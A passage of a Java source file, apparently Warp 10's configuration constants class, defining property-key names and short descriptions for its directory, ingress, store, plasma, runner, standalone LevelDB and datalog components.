* Pre-Shared key for signing fetch requests. Signed fetch request expose owner/producer
*/
public static final String CONFIG_FETCH_PSK = "fetch.psk";
/**
* Comma separated list of Directory related HBase configuration keys to extract from the Warp 10 configuration.
* The listed keys will be extracted from 'directory.' prefixed configuration keys.
*/
public static final String DIRECTORY_HBASE_CONFIG = "directory.hbase.config";
/**
* Maximum number of classes for which to report detailed stats in 'stats'
*/
public static String DIRECTORY_STATS_CLASS_MAXCARDINALITY = "directory.stats.class.maxcardinality";
/**
* Maximum number of labels for which to report detailed stats in 'stats'
*/
public static String DIRECTORY_STATS_LABELS_MAXCARDINALITY = "directory.stats.labels.maxcardinality";
/**
* Maximum size of Thrift frame for directory service
*/
public static String DIRECTORY_FRAME_MAXLEN = "directory.frame.maxlen";
/**
* Maximum number of Metadata to return in find responses
*/
public static String DIRECTORY_FIND_MAXRESULTS = "directory.find.maxresults";
/**
* Hard limit on number of find results. After this limit, the find request will fail.
*/
public static String DIRECTORY_FIND_MAXRESULTS_HARD = "directory.find.maxresults.hard";
/**
* Zookeeper ZK connect string for Kafka ('metadata' topic)
*/
public static final String DIRECTORY_KAFKA_METADATA_ZKCONNECT = "directory.kafka.metadata.zkconnect";
/**
* Actual 'metadata' topic
*/
public static final String DIRECTORY_KAFKA_METADATA_TOPIC = "directory.kafka.metadata.topic";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String DIRECTORY_KAFKA_METADATA_MAC = "directory.kafka.metadata.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String DIRECTORY_KAFKA_METADATA_AES = "directory.kafka.metadata.aes";
/**
* Key to use for encrypting metadata in HBase (128/192/256 bits in hex or OSS reference)
*/
public static final String DIRECTORY_HBASE_METADATA_AES = "directory.hbase.metadata.aes";
/**
* Kafka group id with which to consume the metadata topic
*/
public static final String DIRECTORY_KAFKA_METADATA_GROUPID = "directory.kafka.metadata.groupid";
/**
* Kafka client.id to use for the metadata topic consumer
*/
public static final String DIRECTORY_KAFKA_METADATA_CONSUMER_CLIENTID = "directory.kafka.metadata.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String DIRECTORY_KAFKA_METADATA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "directory.kafka.metadata.consumer.partition.assignment.strategy";
/**
* Strategy to adopt if consuming for the first time or if the last committed offset is past Kafka history
*/
public static final String DIRECTORY_KAFKA_METADATA_CONSUMER_AUTO_OFFSET_RESET = "directory.kafka.metadata.consumer.auto.offset.reset";
/**
* Delay between synchronization for offset commit
*/
public static final String DIRECTORY_KAFKA_METADATA_COMMITPERIOD = "directory.kafka.metadata.commitperiod";
/**
* Maximum byte size we allow the pending Puts list to grow to
*/
public static final String DIRECTORY_HBASE_METADATA_MAXPENDINGPUTSSIZE = "directory.hbase.metadata.pendingputs.size";
/**
* ZooKeeper Quorum for locating HBase
*/
public static final String DIRECTORY_HBASE_METADATA_ZKCONNECT = "directory.hbase.metadata.zkconnect";
/**
* ZooKeeper port for HBase client
*/
public static final String DIRECTORY_HBASE_ZOOKEEPER_PROPERTY_CLIENTPORT = "directory.hbase.zookeeper.property.clientPort";
/**
* HBase table where metadata should be stored
*/
public static final String DIRECTORY_HBASE_METADATA_TABLE = "directory.hbase.metadata.table";
/**
* Columns family under which metadata should be stored
*/
public static final String DIRECTORY_HBASE_METADATA_COLFAM = "directory.hbase.metadata.colfam";
/**
* Parent znode under which HBase znodes will be created
*/
public static final String DIRECTORY_HBASE_METADATA_ZNODE = "directory.hbase.metadata.znode";
/**
* ZooKeeper server list for registering
*/
public static final String DIRECTORY_ZK_QUORUM = "directory.zk.quorum";
/**
* ZooKeeper znode under which to register
*/
public static final String DIRECTORY_ZK_ZNODE = "directory.zk.znode";
/**
* Number of threads to run for ingesting metadata from Kafka
*/
public static final String DIRECTORY_KAFKA_NTHREADS = "directory.kafka.nthreads";
/**
* Number of threads to run for serving directory requests
*/
public static final String DIRECTORY_SERVICE_NTHREADS = "directory.service.nthreads";
/**
* Partition of metadatas we focus on, format is MODULUS:REMAINDER
*/
public static final String DIRECTORY_PARTITION = "directory.partition";
/**
* Port on which the DirectoryService will listen
*/
public static final String DIRECTORY_PORT = "directory.port";
/**
* Port the streaming directory service listens to
*/
public static final String DIRECTORY_STREAMING_PORT = "directory.streaming.port";
/**
* Should we ignore the proxy settings when doing a streaming request?
*/
public static final String DIRECTORY_STREAMING_NOPROXY = "directory.streaming.noproxy";
/**
* Number of Jetty selectors for the streaming server
*/
public static final String DIRECTORY_STREAMING_SELECTORS = "directory.streaming.selectors";
/**
* Number of Jetty acceptors for the streaming server
*/
public static final String DIRECTORY_STREAMING_ACCEPTORS = "directory.streaming.acceptors";
/**
* Idle timeout for the streaming directory endpoint
*/
public static final String DIRECTORY_STREAMING_IDLE_TIMEOUT = "directory.streaming.idle.timeout";
/**
* Number of threads in Jetty's Thread Pool
*/
public static final String DIRECTORY_STREAMING_THREADPOOL = "directory.streaming.threadpool";
/**
* Maximum size of Jetty ThreadPool queue size (unbounded by default)
*/
public static final String DIRECTORY_STREAMING_MAXQUEUESIZE = "directory.streaming.maxqueuesize";
/**
* Prefix used for setting Jetty attributes
*/
public static final String DIRECTORY_STREAMING_JETTY_ATTRIBUTE_PREFIX = "directory.streaming.jetty.attribute.";
/**
* Address on which the DirectoryService will listen
*/
public static final String DIRECTORY_HOST = "directory.host";
/**
* Pre-Shared Key for request fingerprinting
*/
public static final String DIRECTORY_PSK = "directory.psk";
/**
* Max age of Find requests
*/
public static final String DIRECTORY_MAXAGE = "directory.maxage";
/**
* Number of threads to use for the initial loading of Metadata
*/
public static final String DIRECTORY_INIT_NTHREADS = "directory.init.nthreads";
/**
* Boolean indicating whether or not we should initialized Directory by reading HBase
*/
public static final String DIRECTORY_INIT = "directory.init";
/**
* Boolean indicating whether or not we should store in HBase metadata we get from Kafka
*/
public static final String DIRECTORY_STORE = "directory.store";
/**
* Boolean indicating whether or not we should do deletions in HBase
*/
public static final String DIRECTORY_DELETE = "directory.delete";
/**
* Boolean indicting whether or not we should register in ZK
*/
public static final String DIRECTORY_REGISTER = "directory.register";
/**
* Class name of directory plugin to use
*/
public static final String DIRECTORY_PLUGIN_CLASS = "directory.plugin.class";
/**
* Boolean indicating whether or not we should use the HBase filter when initializing
*/
public static final String DIRECTORY_HBASE_FILTER = "directory.hbase.filter";
/**
* Size of metadata cache in number of entries
*/
public static final String DIRECTORY_METADATA_CACHE_SIZE = "directory.metadata.cache.size";
//
// I N G R E S S
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Should we shuffle the GTS prior to issueing delete messages. Set to true or false.
* It is highly recommended to set this to true as it will induce a much lower pressure
* on region servers.
*/
public static final String INGRESS_DELETE_SHUFFLE = "ingress.delete.shuffle";
/**
* If set to 'true' the /delete endpoint will reject all requests. This is useful
* to have ingress endpoints which only honor meta and update.
*/
public static final String INGRESS_DELETE_REJECT = "ingress.delete.reject";
/**
* Path where the metadata cache should be dumped
*/
public static final String INGRESS_CACHE_DUMP_PATH = "ingress.cache.dump.path";
/**
* Maximum value size, make sure it is less than 'max.encoder.size'
*/
public static final String INGRESS_VALUE_MAXSIZE = "ingress.value.maxsize";
/**
* Identification of Ingress as the Metadata source
*/
public static final String INGRESS_METADATA_SOURCE = "ingress";
/**
* Identification of Ingress/Delete as the Metadata source
*/
public static final String INGRESS_METADATA_DELETE_SOURCE = "delete";
/**
* Identification of Ingress Metadata Update endpoint source
*/
public static final String INGRESS_METADATA_UPDATE_ENDPOINT = "ingress.metadata.update";
/**
* Do we send Metadata in the Kafka message for delete operations?
*/
public static final String INGRESS_DELETE_METADATA_INCLUDE = "ingress.delete.metadata.include";
/**
* Host onto which the ingress server should listen
*/
public static final String INGRESS_HOST = "ingress.host";
/**
* Port onto which the ingress server should listen
*/
public static final String INGRESS_PORT = "ingress.port";
/**
* Size of metadata cache in number of entries
*/
public static final String INGRESS_METADATA_CACHE_SIZE = "ingress.metadata.cache.size";
/**
* Number of acceptors
*/
public static final String INGRESS_ACCEPTORS = "ingress.acceptors";
/**
* Number of selectors
*/
public static final String INGRESS_SELECTORS = "ingress.selectors";
/**
* Idle timeout
*/
public static final String INGRESS_IDLE_TIMEOUT = "ingress.idle.timeout";
/**
* Number of threads in Jetty's Thread Pool
*/
public static final String INGRESS_JETTY_THREADPOOL = "ingress.jetty.threadpool";
/**
* Maximum size of Jetty ThreadPool queue size (unbounded by default)
*/
public static final String INGRESS_JETTY_MAXQUEUESIZE = "ingress.jetty.maxqueuesize";
/**
* Max message size for the stream update websockets
*/
public static final String INGRESS_WEBSOCKET_MAXMESSAGESIZE = "ingress.websocket.maxmessagesize";
/**
* ZooKeeper server list
*/
public static final String INGRESS_ZK_QUORUM = "ingress.zk.quorum";
/**
* ZK Connect String for the metadata kafka cluster
*/
public static final String INGRESS_KAFKA_META_ZKCONNECT = "ingress.kafka.metadata.zkconnect";
/**
* Kafka broker list for the 'meta' topic
*/
public static final String INGRESS_KAFKA_META_BROKERLIST = "ingress.kafka.metadata.brokerlist";
/**
* Kafka client id for producing on the 'meta' topic
*/
public static final String INGRESS_KAFKA_META_PRODUCER_CLIENTID = "ingress.kafka.metadata.producer.clientid";
/**
* Actual 'meta' topic
*/
public static final String INGRESS_KAFKA_META_TOPIC = "ingress.kafka.metadata.topic";
/**
* Offset reset strategy.
*/
public static final String INGRESS_KAFKA_META_CONSUMER_AUTO_OFFSET_RESET = "ingress.kafka.metadata.consumer.auto.offset.reset";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_META_MAC = "ingress.kafka.metadata.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_META_AES = "ingress.kafka.metadata.aes";
/**
* Groupid to use for consuming the 'metadata' topic
*/
public static final String INGRESS_KAFKA_META_GROUPID = "ingress.kafka.metadata.groupid";
/**
* Client id to use for consuming the 'metadata' topic
*/
public static final String INGRESS_KAFKA_META_CONSUMER_CLIENTID = "ingress.kafka.metadata.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String INGRESS_KAFKA_META_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "ingress.kafka.metadata.consumer.partition.assignment.strategy";
/**
* How often to commit the offsets for topic 'metadata' (in ms)
*/
public static final String INGRESS_KAFKA_META_COMMITPERIOD = "ingress.kafka.metadata.commitperiod";
/**
* Number of threads to use for consuming the 'metadata' topic
*/
public static final String INGRESS_KAFKA_META_NTHREADS = "ingress.kafka.metadata.nthreads";
/**
* Kafka broker list for the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_BROKERLIST = "ingress.kafka.data.brokerlist";
/**
* Kafka client id for producing on the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_PRODUCER_CLIENTID = "ingress.kafka.data.producer.clientid";
/**
* Actual 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_TOPIC = "ingress.kafka.data.topic";
/**
* Size of Kafka Producer pool for the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_POOLSIZE = "ingress.kafka.data.poolsize";
/**
* Request timeout when talking to Kafka
*/
public static final String INGRESS_KAFKA_DATA_REQUEST_TIMEOUT_MS = "ingress.kafka.data.request.timeout.ms";
/**
* Size of Kafka Producer pool for the 'metadata' topic
*/
public static final String INGRESS_KAFKA_METADATA_POOLSIZE = "ingress.kafka.metadata.poolsize";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_DATA_MAC = "ingress.kafka.data.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String INGRESS_KAFKA_DATA_AES = "ingress.kafka.data.aes";
/**
* Maximum message size for the 'data' topic
*/
public static final String INGRESS_KAFKA_DATA_MAXSIZE = "ingress.kafka.data.maxsize";
/**
* Maximum message size for the 'metadata' topic
*/
public static final String INGRESS_KAFKA_METADATA_MAXSIZE = "ingress.kafka.metadata.maxsize";
/**
* Kafka broker list for the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_BROKERLIST = "ingress.kafka.throttling.brokerlist";
/**
* Optional client id to use when producing messages in the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_PRODUCER_CLIENTID = "ingress.kafka.throttling.producer.clientid";
/**
* Kafka producer timeout for the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_REQUEST_TIMEOUT_MS = "ingress.kafka.throttling.request.timeout.ms";
/**
* Name of the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_TOPIC = "ingress.kafka.throttling.topic";
/**
* ZK connect string for the throttling kafka cluster
*/
public static final String INGRESS_KAFKA_THROTTLING_ZKCONNECT = "ingress.kafka.throttling.zkconnect";
/**
* Client id to use when consuming the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_CONSUMER_CLIENTID = "ingress.kafka.throttling.consumer.clientid";
/**
* Group id to use when consuming the throttling topic
*/
public static final String INGRESS_KAFKA_THROTTLING_GROUPID = "ingress.kafka.throttling.groupid";
/**
* Auto offset strategy to use when consuming the throttling topic. Set to 'largest' unless you want to do
* a special experiment.
*/
public static final String INGRESS_KAFKA_THROTTLING_CONSUMER_AUTO_OFFSET_RESET = "ingress.kafka.throttling.consumer.auto.offset.reset";
//
// S T O R E
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Comma separated list of Store related HBase configuration keys to extract from the Warp 10 configuration.
* The listed keys will be extracted from 'store.' prefixed configuration keys.
*/
public static final String STORE_HBASE_CONFIG = "store.hbase.config";
/**
* Path to the throttling file. This file contains a single line with a double value in [0.0,1.0]
*/
public static final String STORE_THROTTLING_FILE = "store.throttling.file";
/**
* How often (in ms) should we read the content of the throttling file
*/
public static final String STORE_THROTTLING_PERIOD = "store.throttling.period";
/**
* How much to wait when the consumption was throttled, in ns (nanoseconds), defaults to 10 ms (milliseconds)
*/
public static final String STORE_THROTTLING_DELAY = "store.throttling.delay";
/**
* Key for encrypting data in HBase
*/
public static final String STORE_HBASE_DATA_AES = "store.hbase.data.aes";
/**
* Zookeeper ZK connect string for Kafka ('data' topic)
*/
public static final String STORE_KAFKA_DATA_ZKCONNECT = "store.kafka.data.zkconnect";
/**
* Kafka broker list for the 'data' topic
*/
public static final String STORE_KAFKA_DATA_BROKERLIST = "store.kafka.data.brokerlist";
/**
* Kafka client.id for producing on the 'data' topic
*/
public static final String STORE_KAFKA_DATA_PRODUCER_CLIENTID = "store.kafka.data.producer.clientid";
/**
* Actual 'data' topic
*/
public static final String STORE_KAFKA_DATA_TOPIC = "store.kafka.data.topic";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String STORE_KAFKA_DATA_MAC = "store.kafka.data.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String STORE_KAFKA_DATA_AES = "store.kafka.data.aes";
/**
* Kafka group id with which to consume the data topic
*/
public static final String STORE_KAFKA_DATA_GROUPID = "store.kafka.data.groupid";
/**
* A prefix prepended to the Kafka ConsumerId
*/
public static final String STORE_KAFKA_DATA_CONSUMERID_PREFIX = "store.kafka.data.consumerid.prefix";
/**
* Client id to use to consume the data topic
*/
public static final String STORE_KAFKA_DATA_CONSUMER_CLIENTID = "store.kafka.data.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String STORE_KAFKA_DATA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "store.kafka.data.consumer.partition.assignment.strategy";
/**
* Delay between synchronization for offset commit
*/
public static final String STORE_KAFKA_DATA_COMMITPERIOD = "store.kafka.data.commitperiod";
/**
* Maximum time between offset synchronization
*/
public static final String STORE_KAFKA_DATA_INTERCOMMITS_MAXTIME = "store.kafka.data.intercommits.maxtime";
/**
* Maximum size we allow the Puts list to grow to
*/
public static final String STORE_HBASE_DATA_MAXPENDINGPUTSSIZE = "store.hbase.data.maxpendingputssize";
/**
* How many threads to spawn for consuming
*/
public static final String STORE_NTHREADS = "store.nthreads";
/**
* Number of threads for consuming Kafka in each one of the 'store.nthreads' hbase threads. Defaults to 1
*/
public static final String STORE_NTHREADS_KAFKA = "store.nthreads.kafka";
/**
* Number of threads in the pool used to process deletes. One such pool is created for each of 'store.nthreads'. Defaults to
* 0 meaning no pool is used.
*/
public static final String STORE_NTHREADS_DELETE = "store.nthreads.delete";
/**
* ZooKeeper connect string for HBase
*/
public static final String STORE_HBASE_DATA_ZKCONNECT = "store.hbase.data.zkconnect";
/**
* ZooKeeper port for HBase client
*/
public static final String STORE_HBASE_ZOOKEEPER_PROPERTY_CLIENTPORT = "store.hbase.zookeeper.property.clientPort";
/**
* HBase table where data should be stored
*/
public static final String STORE_HBASE_DATA_TABLE = "store.hbase.data.table";
/**
* Columns family under which data should be stored
*/
public static final String STORE_HBASE_DATA_COLFAM = "store.hbase.data.colfam";
/**
* Parent znode under which HBase znodes will be created
*/
public static final String STORE_HBASE_DATA_ZNODE = "store.hbase.data.znode";
/**
* Custom value of 'hbase.hconnection.threads.max' for the Store HBase pool
*/
public static final String STORE_HBASE_HCONNECTION_THREADS_MAX = "store.hbase.hconnection.threads.max";
/**
* Custom value of 'hbase.client.ipc.pool.size' for the Store HBase pool
*/
public static final String STORE_HBASE_CLIENT_IPC_POOL_SIZE = "store.hbase.client.ipc.pool.size";
/**
* Custom value of 'hbase.hconnection.threads.core' for the Store HBase pool (MUST be <= STORE_HBASE_HCONNECTION_THREADS_MAX)
*/
public static final String STORE_HBASE_HCONNECTION_THREADS_CORE = "store.hbase.hconnection.threads.core";
/**
* Custom value of 'hbase.rpc.timeout' (in ms) for Store HBase client, this is especially important to adapt when
* large deletes are possible.
* This value SHOULD be larger than the 'hbase.client.operation.timeout'.
*/
public static final String STORE_HBASE_RPC_TIMEOUT = "store.hbase.rpc.timeout";
/**
* Timeout (in ms) for client operations (bulk delete, region listing, ..) in the Store HBase client. Defaults to 1200000 ms.
*/
public static final String STORE_HBASE_CLIENT_OPERATION_TIMEOUT = "store.hbase.client.operation.timeout";
/**
* Number of times to retry RPCs in the Store HBase client. HBase default is 31.
*/
public static final String STORE_HBASE_CLIENT_RETRIES_NUMBER = "store.hbase.client.retries.number";
/**
* Pause (in ms) between retries for the Store HBase client. HBase default is 100ms
*/
public static final String STORE_HBASE_CLIENT_PAUSE = "store.hbase.client.pause";
//
// P L A S M A
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* ZooKeeper connect string for Kafka consumer
*/
public static final String PLASMA_FRONTEND_KAFKA_ZKCONNECT = "plasma.frontend.kafka.zkconnect";
/**
* Kafka topic to consume. This topic is dedicated to this Plasma frontend.
*/
public static final String PLASMA_FRONTEND_KAFKA_TOPIC = "plasma.frontend.kafka.topic";
/**
* Kafka groupid under which to consume above topic
*/
public static final String PLASMA_FRONTEND_KAFKA_GROUPID = "plasma.frontend.kafka.groupid";
/**
* Kafka client id under which to consume above topic
*/
public static final String PLASMA_FRONTEND_KAFKA_CONSUMER_CLIENTID = "plasma.frontend.kafka.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String PLASMA_FRONTEND_KAFKA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "plasma.frontend.kafka.consumer.partition.assignment.strategy";
/**
* How often (in ms) to commit Kafka offsets
*/
public static final String PLASMA_FRONTEND_KAFKA_COMMITPERIOD = "plasma.frontend.kafka.commitperiod";
/**
* Number of threads used for consuming Kafka topic
*/
public static final String PLASMA_FRONTEND_KAFKA_NTHREADS = "plasma.frontend.kafka.nthreads";
/**
* Optional AES key for messages in Kafka
*/
public static final String PLASMA_FRONTEND_KAFKA_AES = "plasma.frontend.kafka.aes";
/**
* ZooKeeper connect String for subscription
*/
public static final String PLASMA_FRONTEND_ZKCONNECT = "plasma.frontend.zkconnect";
/**
* ZooKeeper root znode for subscrptions
*/
public static final String PLASMA_FRONTEND_ZNODE = "plasma.frontend.znode";
/**
* Maximum size of each znode (in bytes)
*/
public static final String PLASMA_FRONTEND_MAXZNODESIZE = "plasma.frontend.maxznodesize";
/**
* Host/IP on which to bind
*/
public static final String PLASMA_FRONTEND_HOST = "plasma.frontend.host";
/**
* Port on which to listen
*/
public static final String PLASMA_FRONTEND_PORT = "plasma.frontend.port";
/**
* Number of acceptors
*/
public static final String PLASMA_FRONTEND_ACCEPTORS = "plasma.frontend.acceptors";
/**
* Number of selectors
*/
public static final String PLASMA_FRONTEND_SELECTORS = "plasma.frontend.selectors";
/**
* Max message size for the Plasma Frontend Websocket
*/
public static final String PLASMA_FRONTEND_WEBSOCKET_MAXMESSAGESIZE = "plasma.frontend.websocket.maxmessagesize";
/**
* Idle timeout
*/
public static final String PLASMA_FRONTEND_IDLE_TIMEOUT = "plasma.frontend.idle.timout";
/**
* SipHash key for computing MACs of Kafka messages
*/
public static final String PLASMA_FRONTEND_KAFKA_MAC = "plasma.frontend.kafka.mac";
public static final String PLASMA_FRONTEND_SUBSCRIBE_DELAY = "plasma.frontend.subscribe.delay";
/**
* Zookeeper ZK connect string for Kafka ('in' topic)
*/
public static final String PLASMA_BACKEND_KAFKA_IN_ZKCONNECT = "plasma.backend.kafka.in.zkconnect";
/**
* Actual 'in' topic
*/
public static final String PLASMA_BACKEND_KAFKA_IN_TOPIC = "plasma.backend.kafka.in.topic";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_IN_MAC = "plasma.backend.kafka.in.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_IN_AES = "plasma.backend.kafka.in.aes";
/**
* Kafka group id with which to consume the in topic
*/
public static final String PLASMA_BACKEND_KAFKA_IN_GROUPID = "plasma.backend.kafka.in.groupid";
/**
* Kafka client id with which to consume the in topic
*/
public static final String PLASMA_BACKEND_KAFKA_IN_CONSUMER_CLIENTID = "plasma.backend.kafka.in.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String PLASMA_BACKEND_KAFKA_IN_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "plasma.backend.kafka.in.consumer.partition.assignment.strategy";
/**
* Delay between synchronization for offset commit
*/
public static final String PLASMA_BACKEND_KAFKA_IN_COMMITPERIOD = "plasma.backend.kafka.in.commitperiod";
/**
* Number of threads to run for reading off of Kafka
*/
public static final String PLASMA_BACKEND_KAFKA_IN_NTHREADS = "plasma.backend.kafka.in.nthreads";
/**
* Kafka broker list for the 'out' topic
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_BROKERLIST = "plasma.backend.kafka.out.brokerlist";
/**
* Kafka client id for producing on the 'out' topic
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_PRODUCER_CLIENTID = "plasma.backend.kafka.out.producer.clientid";
/**
* Maximum size of Kafka outward messages
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_MAXSIZE = "plasma.backend.kafka.out.maxsize";
/**
* Key to use for computing MACs (128 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_MAC = "plasma.backend.kafka.out.mac";
/**
* Key to use for encrypting payloads (128/192/256 bits in hex or OSS reference)
*/
public static final String PLASMA_BACKEND_KAFKA_OUT_AES = "plasma.backend.kafka.out.aes";
/**
* ZooKeeper Quorum for the ZK ensemble to use for retrieving subscriptions
*/
public static final String PLASMA_BACKEND_SUBSCRIPTIONS_ZKCONNECT = "plasma.backend.subscriptions.zkconnect";
/**
* Parent znode under which subscription znodes will be created
*/
public static final String PLASMA_BACKEND_SUBSCRIPTIONS_ZNODE = "plasma.backend.subscriptions.znode";
//
// R U N N E R
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* ZooKeeper connect string for the leader election among schedulers
*/
public static final String RUNNER_ZK_QUORUM = "runner.zk.quorum";
/**
* Znode to use for the leader election among schedulers
*/
public static final String RUNNER_ZK_ZNODE = "runner.zk.znode";
/**
* String uniquely identifying this instance of ScriptRunner
*/
public static final String RUNNER_ID = "runner.id";
/**
* Roles of the ScriptRunner instance. Can either be 'standalone' or any combination of 'scheduler' and 'worker'.
*/
public static final String RUNNER_ROLES = "runner.roles";
/**
* Root directory under which scripts to run reside. The scripts MUST have a '.mc2' extension
* and reside in subdirectories of this root directory whose name is the periodicity (in ms) at
* which to run them.
*/
public static final String RUNNER_ROOT = "runner.root";
/**
* Number of threads to use for running scripts.
*/
public static final String RUNNER_NTHREADS = "runner.nthreads";
/**
* How often (in ms) to scan RUNNER_ROOT for new scripts
*/
public static final String RUNNER_SCANPERIOD = "runner.scanperiod";
/**
* Einstein endpoint to use for executing the scripts
*/
public static final String RUNNER_ENDPOINT = "runner.endpoint";
/**
* Minimum period at which a script can be scheduled. Any script scheduled
* more often than that won't be run
*/
public static final String RUNNER_MINPERIOD = "runner.minperiod";
/**
* ZooKeeper connect string for the Kafka cluster
*/
public static final String RUNNER_KAFKA_ZKCONNECT = "runner.kafka.zkconnect";
/**
* List of Kafka brokers
*/
public static final String RUNNER_KAFKA_BROKERLIST = "runner.kafka.brokerlist";
/**
* Kafka client id for producing on the runner topic
*/
public static final String RUNNER_KAFKA_PRODUCER_CLIENTID = "runner.kafka.producer.clientid";
/**
* Size of Kafka producer pool
*/
public static final String RUNNER_KAFKA_POOLSIZE = "runner.kafka.poolsize";
/**
* Topic to use to submit the scripts
*/
public static final String RUNNER_KAFKA_TOPIC = "runner.kafka.topic";
/**
* Groupid to use when consuming scripts
*/
public static final String RUNNER_KAFKA_GROUPID = "runner.kafka.groupid";
/**
* Client id to use when consuming scripts
*/
public static final String RUNNER_KAFKA_CONSUMER_CLIENTID = "runner.kafka.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String RUNNER_KAFKA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "runner.kafka.consumer.partition.assignment.strategy";
/**
* Number of threads to spawn to consume scripts
*/
public static final String RUNNER_KAFKA_NTHREADS = "runner.kafka.nthreads";
/**
* Commit period for the script topic
*/
public static final String RUNNER_KAFKA_COMMITPERIOD = "runner.kafka.commitperiod";
/**
* Key for integrity checks
*/
public static final String RUNNER_KAFKA_MAC = "runner.kafka.mac";
/**
* Key for encryption of scripts on topic
*/
public static final String RUNNER_KAFKA_AES = "runner.kafka.aes";
/**
* PreShared key for identifying scripts executing from runner
*/
public static final String RUNNER_PSK = "runner.psk";
//
// S T A N D A L O N E
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Flag to disable the use of the native LevelDB implementation
*/
public static final String LEVELDB_NATIVE_DISABLE = "leveldb.native.disable";
/**
* Flag to disable the use of the pure java LevelDB implementation
*/
public static final String LEVELDB_JAVA_DISABLE = "leveldb.java.disable";
/**
* Directory where the leveldb files should be created
*/
public static final String LEVELDB_HOME = "leveldb.home";
/**
* Maximum number of open files to use for LevelDB
*/
public static final String LEVELDB_MAXOPENFILES = "leveldb.maxopenfiles";
/**
* AES key to use for wrapping metadata prior to storage in leveldb
*/
public static final String LEVELDB_METADATA_AES = "leveldb.metadata.aes";
/**
* AES key to use for wrapping datapoints prior to storage in leveldb
*/
public static final String LEVELDB_DATA_AES = "leveldb.data.aes";
/**
* @deprecated
* AES key to use for storing index details in leveldb
*/
public static final String LEVELDB_INDEX_AES = "leveldb.index.aes";
/**
* Cache size for leveldb (in bytes)
*/
public static final String LEVELDB_CACHE_SIZE = "leveldb.cache.size";
/**
* Compression type to use for leveldb (SNAPPY/NONE)
*/
public static final String LEVELDB_COMPRESSION_TYPE = "leveldb.compression.type";
/**
* Set to true to disable the delete endpoint in the standalone version of Warp 10.
*/
public static final String STANDALONE_DELETE_DISABLE = "standalone.delete.disable";
/**
* Set to true to enable splits generation on the standalone instance. This MUST be set
* to true for Warp10InputFormat to work against a standalone Warp 10 instance.
*/
public static final String STANDALONE_SPLITS_ENABLE = "standalone.splits.enable";
/**
* IP to bind to for listening to incoming connections. Use 0.0.0.0 to listen to all interfaces
*/
public static final String STANDALONE_HOST = "standalone.host";
/**
* Port to bind to for listening to incoming connections.
*/
public static final String STANDALONE_PORT = "standalone.port";
/**
* Number of Jetty acceptors
*/
public static final String STANDALONE_ACCEPTORS = "standalone.acceptors";
/**
* Idle timeout
*/
public static final String STANDALONE_IDLE_TIMEOUT = "standalone.idle.timeout";
/**
* Number of Jetty selectors
*/
public static final String STANDALONE_SELECTORS = "standalone.selectors";
/**
* Maximum encoder size (in bytes) for internal data transfers. Use values from 64k to 512k
*/
public static final String STANDALONE_MAX_ENCODER_SIZE = "standalone.max.encoder.size";
/**
* Maximum size in bytes of a value
*/
public static final String STANDALONE_VALUE_MAXSIZE = "standalone.value.maxsize";
/**
* Path to a file to use for triggering compaction suspension to take snapshots
*/
public static final String STANDALONE_SNAPSHOT_TRIGGER = "standalone.snapshot.trigger";
/**
* Path to a file to use for signaling that compactions are suspended
*/
public static final String STANDALONE_SNAPSHOT_SIGNAL = "standalone.snapshot.signal";
/**
* Directory where data requests should be logged. This directory should be in 700 to protect sensitive token infos.
*/
public static final String DATALOG_DIR = "datalog.dir";
/**
* Id of this datalog node. The id will be used in the file name and will be passed down to child nodes via
* a header.
*/
public static final String DATALOG_ID = "datalog.id";
/**
* Pre-shared AES key to wrap datalog.id and datalog.timestamp header values
*/
public static final String DATALOG_PSK = "datalog.psk";
/**
* Flag indicating whether or not to log forwarded requests.
*/
public static final String DATALOG_LOGFORWARDED = "datalog.logforwarded";
/**
* Configuration key to modify the datalog header
*/
public static final String HTTP_HEADER_DATALOG = "http.header.datalog";
/**
* Comma separated list of ids which should be ignored by the forwarder. This is to prevent loops from
* forming.
*/
public static final String DATALOG_FORWARDER_IGNORED = "datalog.forwarder.ignored";
/**
